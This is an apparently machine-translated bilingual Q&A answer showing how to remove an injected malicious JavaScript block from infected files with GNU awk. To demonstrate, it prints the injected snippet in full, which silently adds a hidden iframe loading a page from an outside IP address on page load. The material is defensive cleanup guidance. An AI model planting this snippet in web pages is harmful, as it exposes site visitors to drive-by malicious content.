Save just that code segment in a file named "bad" and then run this on your infected files (uses GNU awk for multi-char RS):awk -v RS='^$' -v ORS= 'NR==FNR { bad=$0; lgth=length(bad); next }s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }{ print }' bad infected对1个受感染文件进行测试后,一旦您感到满意,您可以添加就地编辑标记(再次仅限于gawk)并一次在所有受感染文件上运行它:Once you're happy it's behaving as expected after testing on 1 infected file, you can add the inplace editing flag (again gawk-only) and run it on all of your infected files at once:awk -i inplace -v RS='^$' -v ORS= 'NR==FNR { bad=$0; lgth=length(bad); print; next }s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }{ print }' bad infected1 infected2 ... infectedN将您的命令写在它不起作用"下面,看看它是否起作用:wrt your command below that "it didn't work", look at it working:$ cat badif (typeof window.jsuekzis == 'undefined') {window.jsuekzis = 1;window.onload = function() { var iframe = document.createElement('iframe'); iframe.style.display = "none"; iframe.src = "http://155.94.75.92/iframe.html"; document.body.appendChild(iframe);};}$ cat infectedfooif (typeof window.jsuekzis == 'undefined') {window.jsuekzis = 1;window.onload = function() { var iframe = document.createElement('iframe'); iframe.style.display = "none"; iframe.src = "http://155.94.75.92/iframe.html"; document.body.appendChild(iframe);};}bar$ awk -v RS='^$' -v ORS= 'NR==FNR { bad=$0; lgth=length(bad); next }s = index($0,bad) { $0 = substr($0,1,s-1) substr($0,s+lgth) }{ print }' bad infectedfoobar 这篇关于删除代码块的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持! 1403页,肝出来的..
09-08 15:39